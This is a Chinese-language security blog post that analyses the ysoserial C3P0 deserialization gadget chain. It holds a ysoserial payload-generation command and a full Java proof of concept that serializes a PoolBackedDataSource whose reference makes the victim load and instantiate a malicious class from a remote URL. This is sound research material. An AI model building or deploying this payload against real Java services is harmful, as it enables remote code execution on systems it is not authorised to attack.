• ysoserial-C3P0 分析


    环境准备:

    pom:

          <!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
            <dependency>
                <groupId>com.mchange</groupId>
                <artifactId>c3p0</artifactId>
                <version>0.9.5.2</version>
            </dependency>

    payload生成:

    java -jar ysoserial.jar C3P0 "http://127.0.0.1:8989/:Exploit" > test.ser  //加载Exploit.class

    调用链分析:

    exec处下断点,整个调用链如下图所示:

    反序列化的入口点时com/mchange/v2/c3p0/impl/PoolBackedDataSourceBase,

     

    首先从输入流中还原出一个referenceIndirector的内部类referenceSerialized的对象,然后判断其若是不是类IndirectlySerialized的实例,由下图可得此时referenceSerialized实现了referenceSerialized接口,那么

    referenceSerialized必定是其实例

    而该接口定义了一个getObject方法,用于返回对象,所以就到了referenceSerialized类的getObject

     

    在这里获取上下文,应该是尝试通过jndi的方式获取上下文,然而这里contextname为null,即jndi失效,所以通过ReferenceableUtils.referenceToObject来加载引用,这里引入的类名为exploit,也就是我们的恶意的字节码的文件名

     

    reFerenceToObject根据Reference对象来获取工厂类的名字,以及工厂类的地址,接着拿到类加载器,拿到appClassLoader(一般程序中类加载都用这个,它的上面还有jre核心类运行的加载(rt.jar)bootstrap classloader和扩展类加载ext classloader)

     

     接着就判断工厂类地址是否为空,不为空则去远程地址加载工厂类,这里用到了urlclassLoader,然后通过class.forname生成一个class 类型的实例,就加载到了工厂类,即我们的恶意字节码类

    Class var12 = Class.forName(var4, true, (ClassLoader)var7);

    接着newInstance完成了类的实例化,即触发构造方法中的代码块执行

    tip:

    那么这里重点还是引用类的构造,即referenceSerialized的this.reference成员变量的赋值

     ysoserial的构造:

     

    这里先实例化一个PoolBackedDataSource的实例,然后再将本地构造的PoolSource赋值给该类的connectionPoolDataSource成员方法,感觉这里比较主要的就是重写getReference方法来返回一个指向远程地址的引用实例

     

     看下PoolBackedDataSource的writeObject方法应该更好理解一点:

    因为序列化时实际上是从输入流中读出一个object来调用其getobject,所以这里第一次写入的object就是要反序列化利用的object,第一个tobyteArray那里如下图catch到错误,因为poolsource是不可序列化的类,所以走到reference那里indirector.indirectForm(this.connectionPoolDataSource),这个传入的就是本地构造的poolsource的实例

     

    indirectForm里面调用poolSource的getRerence方法实际上想返回一个reference类型的实例,所以ysoserial构造gadget的时候要本地定义一个getRerence()方法

     

     

     所以indirectForm最后返回一个ReferenceIndirector.ReferenceSerialized的实例,其可序列化,因为有下面两个图的关系

     

     

     所以最终这里调用weiteObject写入序列化的数据流,完成payload的构造

     所以就可以手动构造poc了:

    poc.java

    package C3P0;
    
    import com.mchange.v2.c3p0.PoolBackedDataSource;
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import javax.naming.Referenceable;
    import javax.sql.ConnectionPoolDataSource;
    import javax.sql.PooledConnection;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.sql.SQLException;
    import java.sql.SQLFeatureNotSupportedException;
    import java.util.logging.Logger;
    
    public class payload1 {
        private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
            private String className;
            private String url;
    
            public PoolSource(String className, String url) {
                this.className = className;
                this.url = url;
            }
    
            @Override
            public Reference getReference() throws NamingException {
                return new Reference("exploit", this.className, this.url);
            }
    
            @Override
            public PooledConnection getPooledConnection() throws SQLException {
                return null;
            }
    
            @Override
            public PooledConnection getPooledConnection(String user, String password) throws SQLException {
                return null;
            }
    
            @Override
            public PrintWriter getLogWriter() throws SQLException {
                return null;
            }
    
            @Override
            public void setLogWriter(PrintWriter out) throws SQLException {
    
            }
    
            @Override
            public void setLoginTimeout(int seconds) throws SQLException {
    
            }
    
            @Override
            public int getLoginTimeout() throws SQLException {
                return 0;
            }
    
            @Override
            public Logger getParentLogger() throws SQLFeatureNotSupportedException {
                return null;
            }
        }
            public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, IOException {
                Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);
                con.setAccessible(true);
                PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);
                Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
                conData.setAccessible(true);
                conData.set(obj, new PoolSource("Exploit", "http://127.0.0.1:8989/"));
                ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/t.ser"));
                objOut.writeObject(obj);
            }
    
    
        }

    源码地址:https://github.com/Wfzsec/ysoserial-poc

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  • 原文地址:https://www.cnblogs.com/tr1ple/p/12608764.html
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